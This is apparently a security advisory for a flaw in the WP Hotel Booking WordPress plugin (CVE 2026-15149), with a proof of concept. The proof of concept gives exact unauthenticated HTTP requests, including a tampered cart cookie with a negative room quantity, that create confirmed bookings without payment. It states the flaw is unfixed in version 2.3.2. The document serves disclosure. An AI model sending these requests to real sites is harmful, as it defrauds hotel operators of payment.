WP Hotel Booking < 2.3.3 – Unauthenticated Payment Bypass via Price Manipulation | CVE 2026-15149

Description

The plugin does not ensure that room quantities and the resulting order total are non-negative when placing a booking, and relies on client-controlled cart data, allowing unauthenticated users to create confirmed reservations for free or at an arbitrarily reduced price.

Proof of Concept

Prerequisites: one published room with a price, guest checkout enabled, at least one
payment method (e.g. offline) enabled - all normal live-site settings. The place-order
nonce is printed on the public checkout page and is identical for all logged-out visitors.

1) Unauthenticated negative price (symptom). The public price calculator accepts a
   negative room quantity and returns a negative amount:

POST https://victim.example/wp-json/wphb/v1/rooms/calculate-booking-price
  room-id=<ID>&check_in_date=2026/07/10&check_out_date=2026/07/12&hb-num-of-rooms=-5
  -> {"data":{"amount":-2420,...}}

2) Unauthenticated free confirmed booking. Place an order with a tampered cart cookie
   holding one real room (qty 1) plus a negative-quantity offset line, so the total is
   <= 0 and the payment step is skipped:

POST https://victim.example/wp-admin/admin-ajax.php
  Cookie: thimpress_hotel_booking_1={"cid_real":{"product_id":<ID>,"quantity":1,"check_in_date":"07/10/2026","check_out_date":"07/12/2026"},"cid_evil":{"product_id":<ID>,"quantity":-5,"check_in_date":"07/01/2026","check_out_date":"07/03/2026"}}
  action=hotel_booking_place_order
  hb_customer_place_order_field=<public nonce from the checkout page>
  hb-payment-method=offline-payment&first_name=Guest&last_name=Free&email=free@example.test&phone=1&address=x&city=x&state=x&country=US&postal_code=1
  -> {"result":"success"}; new booking status = hb-completed, negative stored total

Result: a confirmed reservation is created for free (or at an arbitrarily reduced price),
with no payment taken. Unfixed in the current version (2.3.2).